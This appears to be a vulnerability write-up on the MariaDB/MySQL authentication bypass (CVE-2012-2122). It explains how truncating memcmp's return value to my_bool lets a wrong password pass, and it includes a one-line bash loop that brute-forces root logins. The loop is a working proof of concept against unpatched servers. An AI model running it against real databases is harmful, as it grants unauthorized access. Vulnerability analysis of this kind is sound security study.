When connecting to MariaDB/MySQL, the input password is compared with the expected correct password. However, due to improper handling, even if memcmp()
returns a non-zero value, MariaDB may still treat the two passwords as identical. This means that, as long as the username is known, repeated attempts can potentially grant direct access to the SQL database. According to the advisory, it takes approximately 256 attempts to successfully guess the password once. By referencing vulhub and various online articles, it has been concluded that brute-forcing is the method to exploit this MariaDB bug.
Affected versions: All MariaDB and MySQL versions up to 5.1.61, 5.2.11, 5.3.5, 5.5.22.
Since this is a straightforward brute-force attack, the proof-of-concept (PoC) can be written in any programming language. Here, the simplest shell script is used for brute-forcing. The PoC is as follows:
#!/bin/bash for i in `seq 1 1000`; do mysql -u root -p wrongpwd -h ip -P 3306; done
Then, start the brute-force attack. It doesnât take too many attempts before successfully logging into MySQL.

Since this is a probabilistic arbitrary password login, it is necessary to analyze the vulnerable function in the MySQL source code.
my_bool check_scramble(const uchar * scramble_arg, const char * message, const uint8 * hash_stage2) { SHA1_CONTEXT sha1_context; uint8 buf[SHA1_HASH_SIZE]; uint8 hash_stage2_reassured[SHA1_HASH_SIZE]; mysql_sha1_reset(&sha1_context); mysql_sha1_input(&sha1_context, (const uint8*) message, SCRAMBLE_LENGTH); mysql_sha1_input(&sha1_context, hash_stage2, SHA1_HASH_SIZE); mysql_sha1_result(&sha1_context, buf); my_crypt((char*) buf, buf, scramble_arg, SCRAMBLE_LENGTH); mysql_sha1_reset(&sha1_context); mysql_sha1_input(&sha1_context, buf, SHA1_HASH_SIZE); mysql_sha1_result(&sha1_context, hash_stage2_reassured); return memcmp(hash_stage2, hash_stage2_reassured, SHA1_HASH_SIZE); }
It can be seen that the memcmp
function is used for comparison. Letâs first explain the purpose of this function.
Function definition: int memcmp(const void *s1, const void *s2, size_t n);
Function description: memcmp()
is used to compare the first n
bytes of the memory areas pointed to by s1
and s2
.
The comparison of string sizes is determined by the order in the ASCII table, which corresponds to the character values. memcmp()
subtracts the value of the first character in s2
from the value of the first character in s1
. If the difference is 0, it continues to compare the next character. If the difference is not 0, the difference is returned. For example, comparing the strings âAcâ and âbaâ will return the difference between âAâ (65) and âbâ (98), which is -33.
Return value: If the memory contents pointed to by s1
and s2
are identical, the function returns 0. If s1
is greater than s2
, it returns a positive value. If s1
is less than s2
, it returns a negative value.
Letâs test this with an example.
Returning to the vulnerable code, the return value of memcmp
is actually an int
, while my_bool
is essentially a char
. When converting an int
to a char
, truncation may occur. Letâs look at another example.

This shows that during type conversion, high-order bits overflow. As long as the lower 8 bits are all 0, truncation results in 0. In this function, memcmp
actually returns a non-zero value, but when converted to a char
, it becomes 0. The function then returns 0, causing the check to pass. Since the hash values are different each time, memcmp
may return different values.
Therefore, memcmp
returns an *integer*. It is implicitly cast to my_bool
(a char
). If memcmp
happens to return a non-zero number whose last byte is zero, check_scramble
will return 0 (indicating the password is correct), even though the password is incorrect.
However, you might wonder why memcmp
âs return value is typically within the range [-128, 127]. It compares two strings character by character, subtracting the two characters when a difference is found, and returning the result. This was initially a point of confusion for me as well.
However, comparing character by character is too slow. Moreover, the C language standard does not require the return value to be within the range of a char
. Linuxâs glibc often uses SSE-optimized code, which reads multiple bytes at once and subtracts them, potentially resulting in a large number. Typically, when compiling C/C++ programs with GCC, functions like memcmp
/memcpy
are implemented using the compilerâs built-in versions (rather than glibcâs). This bug only triggers in specific compilation environments: when MySQL is compiled with -fno-builtin
in CFLAGS
and the glibc used is SSE-optimized.
This explanation, which I found online, highlights that reading multiple bytes at once and subtracting them can result in numbers like 256 or 512, where the lower 8 bits are 0. Combined with the specific environment, this triggers the vulnerability.